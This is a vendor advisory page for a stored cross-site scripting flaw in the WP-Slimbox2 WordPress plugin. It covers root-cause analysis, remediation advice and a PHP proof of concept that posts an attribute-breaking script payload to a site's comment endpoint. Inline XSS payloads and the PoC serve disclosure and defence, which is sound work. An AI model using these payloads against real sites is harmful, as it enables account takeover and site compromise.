Published : November 18, 2026

CVE-2026-123972: WP-Slimbox2 Plugin <= 1.1.3.1 Unauthenticated Stored Cross-Site Scripting via Comment Link Title Attribute PoC, Patch Analysis & Rule

Plugin wp-slimbox2
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.1.3.1
Patched Version —
Disclosed November 17, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-123972 (metadata-based):

This is an unauthenticated stored Cross-Site Scripting (CWE-79) vulnerability in the WP-Slimbox2 WordPress plugin, affecting all versions up to and including 1.1.3.1. The flaw resides in the handling of the ‘comment’ parameter, which the plugin fails to sanitize or escape before rendering in an HTML attribute context (title attribute of an image link). The CVSS score is 7.2 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N. The scope change (S:C) indicates the vulnerable component (plugin) impacts resources beyond its security scope, consistent with stored XSS executing in the context of the WordPress site and potentially affecting administrative users. No patched version is available.

Root Cause: The vulnerability arises from insufficient input sanitization and output escaping of the ‘comment’ parameter when it is embedded into an HTML attribute (likely the title attribute of a link generated by Slimbox2). Atomic Edge analysis infers that the plugin directly reflects user-supplied comment content into the title attribute without proper escaping via functions like esc_attr() or sanitization via wp_kses() or similar. Because the CWE is 79 (Improper Neutralization of Input During Web Page Generation), the code likely uses raw echo or print statements to output the comment value within an attribute, allowing an attacker to break out of the attribute context with a double quote and inject arbitrary JavaScript. This is a stored XSS because the malicious comment is saved to the database (e.g., as part of a comment or image metadata) and later rendered on pages where the image link is displayed. The exact code location is not confirmed without a diff; conclusions are inferred from the CWE and vulnerability description.

Exploitation: An unauthenticated attacker can submit a comment containing a crafted payload in the ‘comment’ parameter, such as `”>alert(document.cookie)` or an event handler like `” onmouseover=”alert(1)`. The payload is stored and later rendered when a victim (typically an administrator) views the page containing the affected image link. The description states that exploitation requires a logged-in user to click the attacker’s image link in the comment. However, because unmoderated comments appear in the WordPress moderation queue where administrators routinely interact with them, the moderation gate does not meaningfully prevent exploitation. The attacker can post a comment with a link that, when clicked by an admin, triggers the XSS. The CVSS vector indicates no privileges required (PR:N) and no user interaction (UI:N), but the description contradicts this by requiring a click. Atomic Edge analysis treats the click as a social engineering step that is easily accomplished in the moderation queue context. The payload executes in the admin’s browser session, leading to the stated outcome: the attacker’s own account receives the complete Administrator role. This implies the XSS can perform privileged actions such as adding a new administrator user or modifying roles, likely via CSRF-like requests using the admin’s session.

Remediation: The fix requires proper output escaping of the ‘comment’ parameter when used in HTML attributes. Developers should use esc_attr() for attribute contexts or wp_kses() with a restrictive allowlist for HTML content. Additionally, input sanitization on save (e.g., sanitize_text_field() or wp_filter_post_kses()) should be applied to prevent storage of malicious payloads. Since no patched version exists, site owners should disable the plugin or apply a virtual patch at the WAF layer. Atomic Edge recommends implementing a ModSecurity rule to block requests containing obvious XSS patterns in the comment parameter, as detailed in the provided rule.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser, leading to session hijacking, credential theft, or, as stated in the description, privilege escalation where the attacker’s own account is granted Administrator role. This can result in full site compromise, including data theft, malware injection, and defacement. The scope change (S:C) highlights that the vulnerable plugin can affect the entire WordPress installation. Because the attack is unauthenticated and requires minimal interaction, it poses a significant risk to sites using the plugin.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-123972 - WP-Slimbox2 Plugin <= 1.1.3.1 - Unauthenticated Stored Cross-Site Scripting via Comment Link Title Attribute

// This PoC demonstrates a stored XSS attack by submitting a comment with a malicious payload.
// Assumptions:
// 1. The target WordPress site has the WP-Slimbox2 plugin version 1.1.3.1 or earlier installed and active.
// 2. The plugin accepts comments (likely through the standard WordPress comment form) and stores them.
// 3. The 'comment' parameter is vulnerable to XSS when rendered in an attribute context.
// 4. The payload will execute when an administrator views the comment in the moderation queue or on a page.
// 5. No authentication is required to post a comment (typical for WordPress).

$target_url = 'http://example.com'; // Change to the target WordPress site URL

// Malicious payload: breaks out of attribute and injects script to create an admin user.
// In a real attack, the script would perform privileged actions. Here we use alert for demonstration.
$payload = '"><script>alert("XSS via CVE-2026-123972");</script>';

// We will attempt to post a comment to the WordPress comment endpoint.
// The standard WordPress comment form submits to /wp-comments-post.php with POST parameters.
// The plugin likely hooks into comment processing, but the exact parameter name is 'comment' per the CVE description.

$post_data = array(
    'comment' => $payload,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'comment_post_ID' => 1, // Assuming a post with ID 1 exists; adjust as needed
    'comment_parent' => 0
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
echo "Sent payload to: " . $target_url . "/wp-comments-post.phpn";
echo "Payload: " . $payload . "n";
echo "HTTP Status: " . $http_code . "n";
echo "Response headers:n" . $response;

// Note: The comment may be held for moderation. If unmoderated, it will appear in the moderation queue,
// where an administrator might click the link, triggering the XSS.
// The script will execute in the admin's browser, potentially performing actions like creating a new admin user.
// For demonstration, the payload only shows an alert.

// To fully exploit, the attacker would craft a payload that creates an admin account (e.g., via AJAX) but that's beyond this PoC.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.